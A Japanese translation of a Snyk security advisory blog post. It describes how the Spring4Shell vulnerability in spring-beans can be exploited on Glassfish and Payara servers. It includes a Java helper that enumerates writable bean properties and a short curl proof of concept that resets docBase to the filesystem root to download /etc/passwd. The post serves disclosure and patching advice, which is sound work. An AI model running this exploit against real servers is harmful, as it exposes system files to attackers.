LoginSignup
1

More than 1 year has passed since last update.

Spring4ShellがGlassfishとPayaraに拡大:同じ脆弱性ですが、新しい悪用法です

Last updated at Posted at 2022-04-09

本記事は2022年4月8日(米国時間)に公開した英語ブログSpring4Shell extends to Glassfish and Payara: same vulnerability, new exploitを日本語化した内容です。

logo-solid-background.png

先週、Spring4Shellの発見について発表しました。spring-beansパッケージの古いバージョンにリモートコード実行(RCE)の脆弱性があることが判明したのです。私たちのブログ記事Spring4Shell:JavaのSpringフレームワークのゼロデイRCE脆弱性について解説しますでは、CVE-2010-1622に対する古いTomcatが再び悪用されることを示しました。問題の性質上、この既知のTomcatエクスプロイト以外にも、追加のペイロードが作成される可能性があると予想していました。そして本日、当社のセキュリティ研究チームが、そのことを確認しました。現在、GlassfishとPayaraに対して、Springと同じ問題を活用した同様の、ただしペイロードは異なるエクスプロイトが存在しています。Payaraチームに弊社の発見をお知らせし、PayaraチームはPayaraの特定の構成が脆弱である可能性があるという独自の分析を公表しました。

しかし、何よりもまず、これは新しい脆弱性ではありません。これは、この問題が最初のTomcatの問題に留まらないという我々の予想を証明する新しい悪用です。 Payaraは、Payara CommunityおよびPayara Enterpriseの影響を受けるバージョンに対してホットフィックスを公開する予定ですが、私たちの改善アドバイスはこれまでと同じです。

spring-beansパッケージをバージョン5.3.18または5.2.20以降に更新してください。

このパッケージの新しいバージョンへのアップデートは絶対に必要であり、何よりも優先させるべきであることを強調したいと思います。

悪用するためにより多くの書き込み可能なプロパティを見つけることで

Snyk のセキュリティ研究チームは、以下の関数を使用して、特定のアプリケーション サーバーで書き込み可能な属性を調べました。当社のセキュリティ研究開発チームのKirill Efimovが作成したこの関数は、Spring APIを使用して、すべての利用可能なプロパティを繰り返し、潜在的な侵害に使用できるプロパティのリストを作成します。

public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {

  if (visited == null) {
     visited = new HashSet<>();
     visited.add(Integer.class);
     visited.add(Long.class);
     visited.add(Double.class);
     visited.add(String.class);
  }

  HashSet<String> res = new HashSet<>();

  if (depth <= 0) return res;
  if (visited.contains(root)) return res;
  else visited.add(root);

  try {
     BeanWrapperImpl impl = new BeanWrapperImpl(root);

     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
        if (!impl.isReadableProperty(pd.getName())) continue;
        if (pd.getName().equals("accessible")) continue;

        if (impl.isWritableProperty(pd.getName())) {
           res.add(path + "." + pd.getName());
        }

        Object value = impl.getPropertyValue(pd.getName());

        if (value != null && value != Optional.empty()) {
           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));

           if (value.getClass().isArray()) {
              try {
                 Object[] casted = (Object[]) value;

                 for (int i = 0; i < casted.length; i++) {
                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
                 }
              } catch (ClassCastException cce) {
                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
              }
           }
        }
     }
  } catch (Exception e) {
     e.printStackTrace();
  }

  return res;
}

エンドポイント内でこの関数
HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null);
を呼び出すことで、簡単にリストアップして検査することができます。

Glassfish / Payaraサーバーの悪用

GlassFishは、Tomcatに似たアプリケーションサーバーです。違いの詳細については、あまり関係がないため、ここでは触れません。Payara ServerはGlassFishから派生したもので、多くの類似点があります。しかし、PayaraはオリジナルのGlassFishよりも多くの機能を備えているため、両者は異なる製品です。Payaraの人々は、これらの違いについて素晴らしいブログ記事を書いていますが、今回のエクスプロイトにはあまり関係ありません。

前回のブログ記事と同じアプリケーションを使い、今度はPayara Server (Community) 5.2022.1 にデプロイしてみましょう。前の段落の関数を使用すると、次の属性が書き込み可能であることがわかりました。

​​[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

特に興味深いのは、 class.module.classLoader.resources.dirContext.docBase というプロパティで、これを今回のエクスプロイトで使用します。

以下のエクスプロイトでは、このプロパティを使用して、docBaseを / に設定しています。ルートがマシンの実際のルートに設定されたため、通常は利用できないファイルにアクセスできるようになります。以下の例では、次のURLを呼び出すことで/etc/passwd ファイルの内容をダウンロードできるようになったことを示しています。

http://localhost:8080/handling-form-submission-complete/etc/passwd

エクスプロイト

echo "Setting doc base to /"
curl -X POST \
 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
 http://localhost:8080/handling-form-submission-complete/greeting
sleep 2
echo "Downloading /etc/passwd"
curl https://localhost:8080/handling-form-submission-complete/etc/passwd

当然ながら、ファイルシステム上の任意のファイルを読み取ることができるようになったのですから、これは望ましくありません。悪意のある人による追撃を起こす重大な情報の開示や、ユーザー関連データの開示に発展する可能性があります。

Snyk社のセキュリティ研究者であるCalum Huttonが作成したエクスプロイト・プロジェクトは、GitHubで公開されています。

Spring Frameworkのアップデートはお早めに

これは新しい脆弱性ではなく、同じSpring4shellの脆弱性を別のサーバーで悪用する方法の一例であることを再度強調しておきます。最も重要な教訓は、Springのこの問題はTomcatに特化したものではないということです。Springの問題自体は非常に一般的であり、異なるサーバの異なるバージョンで多くの悪用が行われることになる可能性もあります。ですから、あなたのユースケースで知られている悪用がまだないとしても、あなたが脆弱でないとは言えません。

あなたができること、というよりすべきことは、Springフレームワーク(または少なくとも spring-bean パッケージ)を最新バージョンに更新することです。私たちが見る限り、パッケージをアップデートすることで、使用しているアプリケーションに関係なく、この脆弱性を解決することができます。

Snykでアプリケーションを定期的にスキャンすることで、この問題を把握することができます。Snykは、新しい脆弱性が検出されると、お客様とお客様のチームに警告を発し、アプリケーションを安全に保つための推奨される次のステップを提供します。さあ、今すぐアップデートしましょう。

ブログを読んで、Snykを使ってみたい!と思われた方は、ぜひ無料トライアルをお試しください。トライアル中の技術的なご質問は、サポートに日本語でお寄せください。

Snykでは、セキュアなコーディングのための情報や脆弱性の最新情報などを発信しています。ぜひTwitterFacebookブログのフォローをお願いします。

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
1